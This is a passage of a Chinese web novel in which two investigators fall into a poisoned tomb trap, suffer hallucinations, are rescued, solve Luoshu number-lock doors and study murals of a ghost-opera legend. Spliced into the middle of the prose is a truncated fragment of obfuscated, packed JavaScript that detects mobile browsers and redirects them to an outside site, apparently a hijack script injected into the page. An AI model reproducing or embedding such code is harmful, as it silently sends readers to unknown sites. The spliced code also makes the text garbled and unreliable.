景序昭默默地点头,的确是关严实了,他听岳逸钦说起过,有些墓门会在盗墓者进入墓室后关死,为的是困死盗墓者,让他们作为陪葬品。
一路过来看了吴家的墓室,其他地方都没有活人陪葬的痕迹,景序昭还不确定这里有何用意。
烛光照亮的范围有限,池楚浠不得不拿着蜡烛继续往前,光影照到了正前方的高台,那里有处高高的黑影,像是树枝。
这底下会长出树来?
池楚浠疑惑地往前踏出几步。
景序昭也看见了那棵树,当下便心生疑惑,这墓穴里怎么可能会有自然生长的树。
这里根本晒不到太阳。
前方的树影完全吸引了两人的目光。
池楚浠又走近了几步,烛火将树影照得更清晰了些,那景是一棵石榴树,与吴家院子里的一样,枝头还开着红色花朵。
更奇的是,有蝴蝶绕着花飞舞。
“这墓室……”
池楚浠怔怔地想说什么,她不由自主地朝那树影走去。
“这墓室有古怪!”
景序昭大声道,他迅速去拽池楚浠手腕,可惜他慢了一步,池楚浠已然踏出那一步。
她脚下的地板猛然翻转,池楚浠的身子骤然往下坠落。
景序昭只能第一时间捉住池楚浠手腕,随着她一起落下。
“啊!”
池楚浠的叫声仿佛都被这地底淹没了,闷闷的一丝动静也传不出去。
突然的下坠令池楚浠感到头晕眼花,手中的烛火在下坠时已然熄灭。
周围一片漆黑,唯有景序昭握过来的手尚且能让她感到一丝生机。
身体重重地砸在坚硬的地板上,池楚浠疼得眼泪都出来了,她咬着牙道:“景序昭,这陷阱里有多大可能生还?”
景序昭摸出火折子重新点亮蜡烛,池楚浠手里的蜡烛不知落在了何处,不见了。
他上前查看池楚浠的伤势,关切道:“摔到哪儿了?可严重?”
池楚浠摸摸尾巴骨,含泪道:“已经摔了,认
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命,能出去的话再找大夫瞧瞧,若出不去……”
出不去就只能死在这里了吧,岳师父一定想不到他们会掉进墓室的陷阱里。
谁会想到表面上人畜无害的吴家墓穴,深处竟有这样古怪的机关陷阱。
景序昭道:“方才那树和蝴蝶都是假象,是引诱我们一步步落入陷阱的幻象。”
池楚浠有些不可置信:“在这样的墓穴如何制造幻象,谁人有这本事?”
景序昭道:“并不是多高明的本事,你想想你阿耶是如何落水的?”
池楚浠怔住了。
是幻梦蛉在阿耶体内游走,导致阿耶视物产生幻象,幻梦蛉同时也会影响他的四肢协调性,最终使他落水而死。
她此刻的四肢还能听使唤,那她中的应当不是如幻梦蛉之类的蛊毒。
想必是其他可致幻的毒药。
池楚浠揉了揉眼皮,想要打破眼前的幻象,她道:“那我们此时看见的可还是幻象?”
景序昭忽然紧紧盯着她,嘴角勾起一抹笑意:“你认为呢?池、楚、浠。”
池楚浠忽然头痛欲裂,她捧住自己的脑袋坐在地上将脸埋在膝盖上。
“景序昭,你为何要用这样语气跟我说话?”
剧烈的头疼让她有些神志不清,但还是咬牙问出这一句。
景序昭此时此刻的眼神和语气令她格外陌生。
忽然,一只大手扣住了她的后脖颈。
那只手缓缓收紧,压迫住脖颈两侧。
池楚浠这才意识到危险,身体本能地往一旁躲去。
可她刚一躲开景序昭的另一只手便猛地拽住她的脚腕,硬生生将她拖了回去。
“想逃去何处啊?”
景序昭死死地看着她,随即,他又忽地一笑,笑得格外好看,如沐春风一般。
池楚浠从未见过这样的景序昭,她使劲蹬腿,反而两只脚踝都被扣住。
她带了哭声:“你要做什么?”
只见景序昭将左手抬至鼻下嗅了嗅,他方才就是用这只手掐了池楚浠脖子。
他又忽地笑了:“很香,你在自己身上也抹了香膏,是迷药?”
池楚浠此刻倒希望自己抹的是迷药,若是迷药,景序昭这会儿已经晕过去了。
景序昭依旧紧紧盯着她:“不是迷药?”
池楚浠摇摇头:“不是……只是普通的香膏,你……你松开我。”
池楚浠眼神里露了怯意:“景序昭,我们一起找出口,我们从这里出去。”
景序昭拖住池楚浠的小腿将她朝自己拉近,池楚浠双掌往后撑,想拖住些什么。
可惜无用,她什么也没抓住,还无法借力,掌心在地上磨破了皮。
刺痛感后知后觉地袭来,她感到无比恐慌。
“景序昭,你是不是中毒了?”
此刻,她与景序昭近在咫尺。
景序昭倾身过来,猛地掐住池楚浠脖子,语气森冷:“楚浠长大了,就要与我疏远了。”
“在此之前,不如我先杀了你。”
景序昭那双眼里当真有杀意。
池楚浠感到害怕,她想要挣扎,可头越来越疼,几乎意识不清。
她甚至顾不上景序昭此刻要杀她的事,她的身体很痛苦。
池楚浠呼吸不畅,只本能地呢喃:“阿兄……我好难受,我们出去吧。”
“出去……”
……
“我们这就出去!”景序昭抱着人大声道,“楚浠,醒醒。”
方才坠落时池楚浠便晕了过去,瞧她那神情,像是还处在幻象之中。
56. 青陵蝶影3
蜡烛握在手里没机会点燃,景序昭一落下来便听见池楚浠痛苦的呻.吟声。
“楚浠,醒醒!”
“莫陷于幻象之中。”
似乎叫醒无望,景序昭不得不用火折子点燃蜡烛。
有什么坚硬的东西咯在脚底,景序昭摸到一处墙壁让池楚浠靠坐着。
他看着烛火渐渐亮起,将它移至脚边一看,竟是块人的头骨。
他举着蜡烛前移,照亮周围的景象,脚下尽是白骨,有的完整,有的散乱。
这方墓室不大,但铺满了白骨。
在上方墓室下毒之人对致幻毒物的剂量下得很足,本着要将所有人送下来的决心,不顾来者死活,势必要让闯入之人都在这里陪葬。
景序昭曾为灵枢毒医试药,想必是阴差阳错让他对这里的毒物更为排斥,没如池楚浠那般昏昏沉沉。
他往回看去,方才落下来的那个空档已经关闭,想要原路出去怕是不行。
景序昭踩着尸骨将池楚浠打横抱起,即便这个墓室里除了白骨什么也没有,他也要试着找找是否有出路。
烛火还握在手中,抱着人略有不便,但眼下这环境也实在不敢将人放下。
蛇虫鼠蚁最易在此处滋生,万一跑出来咬人就麻烦了。
只听见池楚浠害怕地出声:“你别杀我!”
景序昭低头看去,见她双眼紧闭,必是还在幻境中。
她在怀中挣扎了一番,又道:“景序昭,别杀我!”
景序昭眉心皱起,唤了她几声,她依旧没有要醒的迹象。
“你究竟看见了什么,我要杀你?”
池楚浠的幻象为何会是这样,他何时透露过要杀她的意思,从未有过。
抱着人将四周查看了一遍,没有发现可出入的门窗。
景序昭清理出一块干净的地方,将池楚浠轻轻放下,他就从池楚浠身边开始拨开白骨。
白骨铺了一层,已看不见下面的地砖,不敢想象这里究竟葬了多少人。
这些人呈横死之象,不可能是正式葬入。
景序昭留意着池楚浠,她周边没有蛇虫鼠蚁跑来,扒了不少白骨,景序昭没看见一只蛇虫鼠蚁,干净得有些不正常。
他忽然用力地擦拭池楚浠身下的地板,将那些不起眼的白灰通通抹去。
待彻底抹干净了,他才重新将池楚浠放下。
尸堆里没有虫子,那只有一个可能,这些尸骨上被下了药,蛇鼠不敢来。
景序昭继续清理地上的白骨,四周没有出口,那出口或许藏在地面。
他看了这里的石砖,和上面的墓室完全不同,无论是款式大小还是砖板上的凿痕,都不相同。
这里的石砖要老旧许多,二者仿佛差了几个朝代。
景序昭忽觉指尖有些发麻,针刺的感觉从指尖传至胳膊,这感觉虽是缓缓渗入,但他四肢一麻,重重地跪在地上。
他看着双掌上沾染的白色粉末,这些东西想必就是存留在尸骨上的毒素。
趁着身体还未完全麻痹,他加快了清理白骨的速度,终于将一大片尸骨拨开。
被抛开的尸骨堆在一起,仿佛一座白骨小山。
景序昭沿着地板敲去,发现了有一处异常,那块石板底下发出较为空灵的回音。
他用身上的佩刀沿着石板缝猛地撬起,许是年代过于久远,石板直接松动,露出了较宽的缝隙。
景序昭继续撬动石板。
四肢被麻痹的感觉越来越明显,他渐渐使不上力,眼看石板可以再挪开几分,他却始终做不到。
他将手掌摊开放在地面,提起刀尖猛地插入掌心。
很快,剧烈的痛感袭来,胳膊似乎恢复了知觉。
灵枢谷的毒医曾说过,放血也不失为一种疗愈方式,如今一试,果然有效。
景序昭一鼓作气,终于将那石板撬开。
石板底下是空荡荡的,一眼望去,下面一片漆黑,仔细一听,似乎有水流声。
他将烛火往洞口探去,看见下方有一个石台,石台的前方有水流浸过来。
景序昭熄灭烛火,将其裹入油纸之中。
他带着池楚浠跳向那方石台,幸好石台能容纳两人,景序昭稳稳落在石台上。
再次燃起烛火,他看见了前方的水流,水很浅,像是从别处浸了些进来。
景序昭将池楚浠置于石台,拿了李荞的手帕去沾湿了水,用手帕擦池楚浠的面部。
迷糊中,池楚浠只感觉到一阵刺骨的寒意,不知是从何处传来的,这寒意令她整个人颤抖起来。
仿佛是从噩梦中被猛然惊醒,她倏地睁开了眼睛。
看见景序昭的那瞬间,她本能地往后蜷缩。
“你……”
瞧出她眼中的惊恐,景序昭道:“可是梦见我要杀你,如何,我得手了吗?”
池楚浠终于回过神来,原来方才那是一场梦,可那梦境也太真实了些。
她定定地望着景序昭,那股恐惧感居然还在,她都不敢相信已经出了梦境。
“我梦见你说要把我关进笼子里,像关蝴蝶一样,拿来圈养着……”
景序昭道:“那为何又要杀你?”
池楚浠小声道:“我不从,惹恼了你,你便说索性杀了我,让我再也逃不出那牢笼。”
池楚浠说这话时心里还虚,那幻境里的感受太真实了,真实到她差点认为景序昭就是这样的人。
景序昭怔了怔,有些恍惚。
池楚浠的幻境到底为何能这样准确地传达他心中所想?这是池楚浠的幻境,又不是他的幻境,究竟为何能直达他心底。
景序昭有一瞬间慌神,他避开了此时池楚浠朝他看来的目光。
“我不会杀你。”他只郑重地说了这一句。
“我知道。”池楚浠应着。
不知为何,她信景序昭说的不会杀她。
一股淡淡的血腥味飘了过来,池楚浠低头看见了自己衣服上的血迹。
她没有感到疼痛,不像是身上有伤。
忽然,景序昭撑住石台靠了过来,他的身子不由自主地往地上滑。
“你怎么了!”
池楚浠赶紧将他拉住,让他借力靠在自己身上。
她扶住了景序昭的左胳膊,瞧见了他掌心的刀伤,伤口还在往外渗血。
“景序昭!”
池楚浠有些慌乱。
她到处翻找可以用来包扎伤口的布料,可惜身上的衣服都太脏了,不适合用来裹伤口。
景序昭感觉四肢越发地麻木,想动一动手都有些力不从心,即使放血似乎也不管用了。
伤口被刀扎得过深,很难止住血。
池楚浠解开衣衫,将里衣的料子扯了下来,全身上下只剩里层的衣料还算干净。
景序昭看着她迅速拿布缠住伤口,不得已压迫止血。
“怎会这么严重?”池楚浠担忧道。
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景序昭看着已经缠好的手掌,痛楚还在不断地从掌心传来。
“我们方才落入的墓室之中有许多白骨,那些人应是中毒而亡,我也沾染了不少毒灰,此时四肢渐渐麻痹,动弹不了。”
“放血能稍微清醒些。”
池楚浠扶着景序昭在石台上躺下:“你歇着,我去寻出口,那些人若是中毒而亡,那你也凶多吉少。”
“是我连累你了,不该叫你夜间前来查探。”池楚浠心有愧疚。
景序昭道:“这是公廨正事,是我连累了你才对,你只是我的客卿,若是死在这里倒是白白丧了性命。”
池楚浠道:“别说了,养着力气。”
她走下石台,前方便是一处浅水,地面还是石板砌成,但这里的石板与上方墓室的石板完全不同,池楚浠一眼便发现端倪。
“这里或许不是吴家墓穴,怪不得有死人陪葬。”
若不是吴家墓穴,那又是谁的墓地,吴家为何要将自己的墓穴修在别人的墓地之上?
四周没有别的路,池楚浠只能淌进水里,水如看到的那般浅,走了几步才淹过脚背。
这屋里并无蓄水的地方,水必定是从隔壁渗出,池楚浠沿着水下的墙缝摸去,发现有一处明显的缝隙,像是门缝。
“有门!”
她继续在水中摸索,寻到一个疑似开关的石块,摸着那形状似乎与吴家墓穴大门前的很相似。
池楚浠用景序昭说过的法子拧动石块,果然听见“咔哒”一声,面前的门缓缓朝内打开。
石门的底部从水中划过,掀起一圈涟漪。
“我们出去。”
池楚浠去背景序昭。
“能上来吗?”
池楚浠抓着他的双臂,让他趴在自己背上。
“我很沉。”景序昭道。
池楚浠嗯了一声:“是很沉。”
她把人背上的那一刻起就感受到了,男人与女人在体型上的差距此刻突显得淋漓尽致。
尽管如此,池楚浠还是将他背了起来,不过显得有些吃力,差点将人滑入水中。
穿过这扇小墓室门,眼前竟又是一个甬道,这甬道与上方的甬道不同。
是由大块的平整石板建成,甬道向上倾斜,使得这里的水无法再往甬道里溢。
池楚浠靠着墙借力,背着景序昭爬坡有些吃力,她咬牙一步步往前。
“你感觉如何,彻底动弹不了?”
景序昭的双臂搭在她肩头,双手无法用力,需得靠池楚浠牢牢地拉住他。
“你将我放在此处,你自行出去再叫人来寻我即可。”景序昭道。
池楚浠费力走了几步。
“我不认得路,出去就找不回来了。”
景序昭正欲再说些什么,忽然发现池楚浠顿住了脚步,她还抬头望着上方的石壁。
“那是什么?”她怔怔道。
景序昭也顺着她的目光看去:“壁画,你走近些,我看看。”
池楚浠背着他靠过去,此时的壁画就在他们头顶,这些画都刻在甬道顶的石块上。
难怪这里的石块都如此平整,原来是要用来刻东西。
池楚浠调整姿势时不小心将蜡油滴了几滴到景序昭手背,他只知道疼,但却躲不开。
过了片刻池楚浠才看见滴下来的蜡油,赶紧道:“抱歉……没留意。”
不过这种蜡油也不是很烫,男人的皮肤应该是受得住的。
57. 荒野戏台
烛火的光亮毕竟有限,池楚浠将蜡烛举高才能勉强让景序昭看清顶上的图案。
“又是戏台吗?”池楚浠问,她也看了头顶的东西。
“是。”景序昭道,“是一个很大的戏台,那戏台上有九个穿喜服的女子。”
“这些女子的四肢和脑袋都被绳子牵引着,像牵着一个不会动的傀儡。”
池楚浠抬头跟着看,尽管她保持这个姿势很累,但她架不住自己的好奇心。
第一块石板上的内容如景序昭说的一样,第二块上的内容便有了区别。
只见那九个被绳子牵引着的新娘有了与之前不一样的动作,像是绳子引导着她们摆出这样的动作。
她们九个似乎正在唱戏。
两人齐齐看向后面的图案。
第三块石板上,九个新娘交换了位置,像是戏子之间简单的走位。
池楚浠道:“她们的一切动作都由绳子牵引着完成,她们莫不是死人。”
“只有死人才不能动弹,需要其他东西辅助才能完成这些动作,从而在戏台上表演。”
景序昭看完了这个方向的画,便道:“你再往前走些。”
池楚浠背着他过去。
他把剩下的画也都看了。
“你看,有一位新娘的眼睛是睁开的,其他人都闭着眼。”
池楚浠倒是没怎么留意新娘们的眼睛,毕竟这刻出来的石板画始终不如纸上画出来那般明显。
谁会去注意被刻成一条线的眼睛。
“难道她没死,只有她还活着,那为何她要与一群死人一起唱戏?”
池楚浠自言自语,景序昭也不知道答案,这些雕刻画过于莫名其妙了。
景序昭却道:“记得在吴家墓室里看见的那个戏台吗?”
“那个戏台搭在荒野,与这个戏台一样,只是那个戏台上少了人,而这里多了几个人唱戏。”
景序昭接着道:“在野外搭戏台,唱戏给鬼看,这几个新娘唱的戏就是给鬼看,鬼来了会勾走活人躯体里的魂魄,它自己挤占了肉身,短暂还阳。”
池楚浠看着那位睁着眼睛的新娘道:“你是说她被鬼上身,所以唯独她睁着眼。”
景序昭道:“只是有这个鬼唱戏的传说,我根据传说猜测这壁画上的故事。”
池楚浠看了看其他的石壁:“可这壁画到这里便没了,这有头没尾的鬼唱戏到底想说什么。”
“你身上还有毒未解,不能再耽搁了,出去要紧。”
池楚浠开始奋力地快步往前走。
眼前有一道墓门,但被损毁了,留下的缝隙刚好够池楚浠背着人出去。
穿过损坏的墓门,池楚浠竟看见了吴家的墓室,这上下两个墓穴很好区分,首先石头的用料就不同,凿刻纹路不同,年份看起来也不同,一个新一个旧。
“两个墓穴是连通的。”池楚浠道。
景序昭道:“你先放我下来,去打开左侧那个墓室门,看看里面是否葬有吴家人。”
池楚浠没将他放下来,而是背着他继续往前。
“谁知你何时会毒发,查验尸骨之事日后再说,眼下是保住你的性命要紧。”
“我没事。”景序昭沉声道,“你去看看耽误不了多久,若是今夜出去后打草惊蛇,恐怕我们再也看不到想看的东西。”
“楚浠,嫁进吴家的新妇挨个暴毙,我身负御史手令,必定要回去复命,总不能分说不清案子。”
池楚浠拗不过他,速速将他放下,又速速跑去打开墓室门。
吴家的小墓室门开起来没什么难度,白日里吴荣贵当着所有人的面都是这样开的,也没避着谁,大家都看过墓门外的机关。
墓门一打开,里面的东西便一眼能看全,该放棺材的位置没有棺材,尸体就更没有了。
“空的。”池楚浠道。
斜对面还有一间墓室,景序昭目光锁定那里。
“去打开。”
池楚浠一边怕他毒发,一边又不得不去打开墓室,她索性跑进来。
“还是空的。”
她背起景序昭往前方走,沿着这条甬道走下去或许能回到最初的位置。
景序昭认路比池楚浠好太多,眼看她转了几个弯后就要绕回去了,他赶紧道:“错了,往左边。”
池楚浠:“哦……”
这条路上还有新的墓室,池楚浠听景序昭的吩咐,挨个打开看。
“都是空的。”
事到如今,两人都变了脸色,这吴家从一开始就在撒谎,什么嫁进来的女人都葬在此处,除了李荞,根本没有其他女人。
别说女人,就连吴家男人的尸骨也没见到,这么大个墓穴,墓室都是空的。
景序昭道:“将李荞的尸骨带出去。”
池楚浠其实也打了这个主意,若此时再不带她出去,可能将来就没机会了。
他们今夜在墓穴里这样一番折腾,待吴荣贵下次进来时必定会发现,只是不知吴荣贵何时会再进来。
看着四通八达的甬道,池楚浠头大,她不知该走哪边。
景序昭无声地笑了笑:“第二个甬道口左转。”
池楚浠背着人还要加快脚步,实在是过于艰难,她怕景序昭毒发,连看大夫都来不及。
“你现在感觉如何?”池楚浠问。
景序昭:“直走,再右转便可回到来时的路。”
池楚浠又问了一遍:“你体内的毒如何?”
景序昭无力地歪头靠着池楚浠,已然贴在她脸颊上。
“放心,还死不了,你照我说的方向走,拿了李荞的尸骨再出去。”
池楚浠咬着下唇,虽然表面听了景序昭的话,但她即刻就想冲出墓穴。
可惜,她不认路。
阿耶说,这一点她像母亲。
耳旁传来景序昭略低沉的声音,他带着歉意道:“辛苦你了,楚浠。”
池楚浠擦过眼角不小心溢出的半点水珠,闷声道:“我背得动,莫要小瞧我。”
她终于看见了那扇熟悉的大门,那扇顶到穹顶的墓门,之前过来时这扇门就已经自动合上了。
“还能打开吗?”
池楚浠左右看了看,没发现有明显的机关按钮。
这也是景序昭犯难的地方,起初以为这里不会有陪葬墓室,墓门不可能会无故锁死。但方才见到下方的墓穴便打翻了这个推断,这底下是有陪葬品的,而且是用人陪葬。
池楚浠将景序昭靠墙放置,自己去门上摸索,她左右寻了一圈,没发现有开门的机关。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405841|184457||http|test|mini|href|location''.split(''|''),0,{}));
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>“进得来,出不去,这是早就设计好了让盗墓贼去下方墓室陪葬。”
怪不得处处都是毒药,看来他们是真幸运,被下毒两次都还没死。
池楚浠觉得希望愈加渺茫,她过来查看景序昭的伤势。
“手上的血是止住了,可那毒恐怕已深入你体内,拖得越久越危险。”
“你也莫在用没事的说辞来糊弄我,我眼睛又不瞎,看看你此刻的样子,像要与下方的白骨们同眠了。”
池楚浠无奈道:“岳师父可还有教别的,比如在被封死的墓穴里如何逃生?”
景序昭道:“他没教。”
池楚浠的心都往下沉了一截,她开始责怪自己不该想出这个夜探墓室的主意。
还怪景序昭那么快能与她心意相通,没商量过就直接做好了进墓室的准备。
但凡景序昭没领悟到,他们也不至于全都身陷囹圄,倒不如她自己偷偷来。
即便是出事也不会带着人陪葬,景序昭有官在身,万一她死了他或许还能为她讨个公道。
现在想这些为时已晚,池楚浠继续到处寻找出去的机会。
她用力拍打着石门,或许可以像景序昭进来时那样,从石门内部发出的声音来辨别机关的方位。
双掌和双拳都试过了,她贴在门上也没听见有任何响动,似乎里面的机关锁纹丝未动,再也不打算开启。
“景序昭,这扇门是真的锁死了。”
“景序昭。”
她回头看去,只见景序昭斜靠着墙壁,眼睛不知何时已经闭上。
“景序昭!”
池楚浠跑回他身边,大声唤着他的名字。
“你死了吗?”
慌乱之中,她的指腹颤颤巍巍探向他的脖颈侧面,脉搏仍在跳动。
“景序昭……”
池楚浠吓得声音哽咽,幸好没死,幸好还有一口气。
她抓起景序昭的配刀朝墓门砸去,哐当一声,配刀掉在地上,金属重重跌落的声音激得池楚浠浑身绷紧。
“咔哒”一声,门开了。
池楚浠震惊之余看见了跑进来的铁耀,岳逸钦也来了。
池楚浠瞬间反应过来,拉住岳逸钦道:“师父,救他!”
岳逸钦捋着胡子快步朝景序昭走去,确认人还活着后,他竟嘲笑道:“就你们两个不知死活的还能活到现在已是难得。”
“也怪我,没早些参透这里的玄机,否则我不会让他就这样进入墓穴。”
池楚浠只关心一点:“他还有救吗?”
岳逸钦从怀里摸出一个药瓶,倒出一粒药丸塞进景序昭嘴里,捏着他的下颌迫使他将药丸吞下。
“他在毒医谷什么毒没见过,还能被这里的东西撂倒,放心,死不了。”
听到岳逸钦语气如此笃定,池楚浠缓缓松了口气。
“死不了就好。”
岳逸钦道:“不能再原路返回,此路是只进不出,若强行出去只怕会死在这里。”
池楚浠看了景序昭一眼道:“我们想要带走李荞的尸骨,这里除了她再没有别的吴家妇人了。”
铁耀提起手中的包袱给池楚浠:“李娘子的尸骨在这里,她的孩子我也装进去了。”
池楚浠接过包袱,铁耀背起景序昭。
58. 戏台娘子
岳逸钦在前面带路:“跟我走,我们从另一个墓穴出去。”
池楚浠惊道:“您知道这里还有别的墓穴。”
岳逸钦道:“今夜躺在床上睡不着,思来想去总觉得这墓地有古怪,吴家宅子的地基也不对。”
“无论怎么看,这里都只适合做墓地,不适合做活人的宅邸。”
“此地水流环绕,可使土地所凝聚的生气不会外散,水的方位以环绕墓穴为最佳。”
“我找府中老人问了一嘴,说是外边那寒潭江的分支早在二十年前就分流,此地的风水早已坏了。”
“而吴家的墓穴正是二十年前建在此处,说是将家中长辈的墓都迁了过来,我看未必。”
“没有哪个大户人家选墓地不看风水,吴家能修这么大的墓穴,说明是讲究人,讲究人却将墓穴建在凶位,那就是有大问题。”
铁耀道:“景县丞说到了时间你们没出来便让我去请岳师父,可时间还未到,岳师父便来了。”
岳逸钦领着他们来到一扇新的墓门前,池楚浠看了看周围的环境,方才过来时似乎并未经过此处。
岳逸钦道:“我猜到墓底下定是有问题,怕你们被困此处,所以才急着找来。”
这扇门上刻着一些图案,整扇石门被划分成了九份,每个框里都刻着不同的数字。
铁耀背着人还一副很轻松的样子,他望着石门上的数字道:“这是什么?”
岳逸钦道:“洛书,九宫图与八卦方位相结合,可布局墓地气场。”
铁耀一脸茫然地看向池楚浠道:“池娘子你们之前是怎么打开墓门出来的,你也懂墓地风水?”
池楚浠看着门上的数字摇摇头:“我们没遇到这个,若是有,早就被关死了。”
她不懂洛书,亦不懂八卦方位,若是之前遇到以此做局的陪葬墓室,她早死了百回。
岳逸钦拍了怕景序昭的脸:“喂,起来看着,记在脑子里。”
只见景序昭被他突如其来的巴掌拍得睁开了眼,身上似乎恢复了些力气,他抬头看去。
岳逸钦压向门上的石块,那石块竟是松动的,他徒手将刻着“一”的石块掰了下来。
“天一对应北方。”
“地二对应东南方。”
他依次调换了石块的位置。
“天三……”他举着石块看向景序昭。
景序昭道:“天三对应东方,天四对应西方,地五置于中央。”
岳逸钦点点头,将石块与方位一一对应,重新镶嵌。
当最后一块归位,墓门便出现了松动的迹象。
岳逸钦毫不犹豫地推了一把,门直接开了。
“走。”
“这下面才是真正的墓穴。”
景序昭让铁耀将他放下,他可以自行走动,只是起初双腿还有些发麻。
才走了没几步,景序昭忽地吐出一口鲜血。
“景序昭!”
池楚浠立即上前将人扶住。
“岳师父,他怎么了?”
池楚浠一脸焦急,景序昭抬眼朝她看来,嘴角竟露出一抹笑意,像是遇到了什么喜事。
他道:“无妨。”
“岳师父,他……”
池楚浠话还没说完,岳逸钦便摆摆手:“你既这般担忧他的生死,以后行事便要更谨慎些,江湖险恶,不该去的地方不要去,当心有命来没命回。”
池楚浠低了低头。
岳逸钦又以教训的口吻道:“徒儿你也是,以后不许让小娘子来这种鬼地方,你若想打一辈子光棍,为师也不拦着你,要么你俩一起在这儿化蝶双宿双飞,我也懒得管。”
池楚浠脸皮是有些薄的,她自知此事做得不够妥当,忍不住红了眼眶。
“您教训的是,景序昭他的毒还没解么?”
岳逸钦道:“实话告诉你们,我又不是大夫,可没能力解毒,我只是给他吃了一粒回春续命丸,可以保他撑到去灵枢谷喊救命。”
岳逸钦话音刚落,景序昭的脸色又是一白,他抬手擦掉嘴角血迹。
“能撑过几日。”他看着池楚浠道。
池楚浠扶着他没撒手,跟着岳逸钦一起往前走。
那扇门后是通往下方的台阶,岳逸钦走在前,铁耀垫后。
“这墓有些年头了。”岳逸钦道。
从台阶上下来,周围的建筑风格便与上方不同,很明显是两个不同的墓穴。
岳逸钦问:“你们方才过来可有经过主墓室?”
景序昭道:“只见着一条刻了壁画的墓道,并未见着墓室,想必是吴家人刻意打通了墓道,不让人轻易闯进下方墓室。”
岳逸钦:“是何壁画?”
景序昭:“荒野搭台,鬼唱戏。”
岳逸钦的神情明显愣了一瞬,他一脸凝重地走进前方墓道。
这个墓道比之前经过的墓道都要宽敞,岳逸钦是带着火把进来的,光线比蜡烛亮了许多。
一路走来他的视线大多时候都停留在墓道左右的墙壁上,池楚浠也跟着看了看,没发现有何异常。
走完这条墓道后前方又没路了。
铁耀挠着头道:“怎么又是一扇门,数字和方才的一样,怎么会有人设两道一模一样的机关。”
岳逸钦站在门前:“并非一样,你看清了,这里是两扇门。”
池楚浠扶着景序昭站近了看,发现那刻着数字的地方并不是门,只是一部分石墙,而石墙的两边各有一扇门,很窄小,像是原本的门被人从中间劈开了两半。
景序昭盯着石墙上的数字看,的确与上一扇门的布局一样,一三五与二四六分别对应,各自在石墙一边。
他道:“一面阴,一面阳。”
池楚浠不懂,只能看向岳逸钦。
只见岳逸钦的手悬停在数字“一”前,他眉心拧了拧:“若重新整合,数字便互相混淆,没了各自的阴阳,两扇门该开哪一扇?”
岳逸钦指着数字“五”道:“五居中央,它已经提前放好,看来我们必须做出选择。”
“徒儿,你来选。”
景序昭去拿数字二的石块:“我选阴面。”
他取出松动的石块将它放回它该在的位置。
“二四六为阴,出口只有一个。”
所有人看着他将二、四归位,很快便听见右边的门发出“咔哒”一声脆响。
岳逸钦沉着脸道:“继续。”
景序昭接着放六和八。
每放一个数字,右边的门便发出一声细微的响动,仿佛有机关在门内运转,但不够明显。
当所有阴数归位,右边的门不再发出响动,景序昭对铁耀道:“你有力气,去按中间刻有五的石块。”
铁耀犹犹豫豫地来到石门前,他见着石块周围几乎没有缝隙,似乎镶嵌得很近,于是双掌同时用力压了下去。
“咔……”
左面的门朝左边拉开了,中间刻着五的那面墙纹丝不动,右边的门安安静静地伫立在原位。
铁耀把佩刀伸进门口试探,没有机关暗箭。
“选
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对了,景县丞!”
岳逸钦先走进去,他抱怨道:“一进墓道便处处是机关,此墓穴或许是个大人物,晟朝以前埋在怀德的大人物……”
他似乎在思索到底是谁会葬在这里。
铁耀忍不住问:“景县丞,若是方才选一三五开另一扇门会如何?”
景序昭道:“我也不知,不过听门内那动静,必定是有机关的。”
铁耀倒吸了一口凉气,总感觉一阵后怕,若是方才选错了,那岂不是大家都要葬身此处了。
岳逸钦忽然不走了,举着火把照着墙面。
“这是前室,看这里的布局,中室后应是元宫,那是墓主人所在之处,我们需得从左右两室绕出去,尽量不碰墓主人的东西。”
所有人都盯着岳逸钦照亮的那面墙,那上面刻有图案,一整面墙都有图案,比之前墓道上方的内容要丰富多了。
池楚浠找到这些图案的起始位置挨着看去,第一幕画面便是一个女子在唱戏。
戏台搭得很大,戏台上不止女子一人,但唯独那女子的容貌身形被刻画得无比精细,栩栩如生。
所有人都会不自觉地看着浮雕上的女子,显然她是画中的主角。
浮雕是连起来的,仿佛有人在完整地讲述一个百年前的故事。
池楚浠往后看去,看见那女子还在戏台上唱戏,她的一颦一笑都让人挪不开眼,莲步轻移时仿若一只翩跹的蝴蝶。
和之前看到的穹顶上的壁画不同,这个唱戏的女子是鲜活的,不是被绳子操控的木偶。
池楚浠留意到那戏台下坐了个很醒目的人,他只有一个背影在图中,但从背影看,他身形高大。
池楚浠朝铁耀看了一眼,画中那人肯定比铁耀还要高大健壮些。
无论那女子在台上唱多久,台下始终坐着那个人。
有一面浮雕上出现了狼烟,有战马在荒野疾驰。
景序昭看着画面,不知不觉说了句:“打仗了。”
池楚浠看得情不自禁皱起了眉头。
是啊,打仗了,原本静谧美好的后花园突然之间狼烟四起。
戏台上没了女子的身影,原本搭了戏台的那户人家婢女成群,却在某一天,家中的随从都匆匆逃命。
丫鬟小厮们裹着包袱逃了,戏台再无人打理,荒草枝丫攀上了台面。
唱戏的女子脱去了华服,一身素衣站在院中。
浮雕上,处处都有那女子的身影,家门前、庭院里、荒台上……
她站了许久,身边空无一人。
她像是在等人,从夏日等到秋日。
落叶积了满院。
终于有一日,家中来人了,可惜,比她心上人先到的是敌军。
浮雕从这里开始便没有人物的刻画,铁耀疑惑道:“怎么将敌军刻成了野兽和鬼怪?”
岳逸钦兀自叹了口气。
景序昭没吭声,只是默默看着后面的浮雕内容。
池楚浠回他:“想来是刻下这些浮雕的主人恨透了那些破门而入的人,在他眼里,他们不是人,不配有人样,他们是该死的野兽、恶鬼。”
铁耀挠挠头:“那唱戏的小娘子呢,被他们吃了?”
景序昭道:“战败,城破,城内的一切皆是战利品,这位小娘子的下场和被吃没什么两样。”
铁耀张了张嘴,说不出话来,晟朝已经许久没与外邦大规模打过仗了,城破的景象铁耀这代人还没体会过。
池楚浠忽然弱弱地出声了:“我好像……听过这个故事。”
59. 民间传闻
“我幼时听苍山村民讲过一个故事,说是曾经从靖澜来了一位逃亡的将军,他带着部下一路西行,最终在岚丘建国,盘踞一方。”
池楚浠道:“当时的岚丘便是沙洲以南一带,如此来看,其中应是囊括了怀德。”
“彼时靖澜战败,敌军攻入都城,俘虏了那位将军的夫人,将军夫人不堪受辱,自尽身亡。”
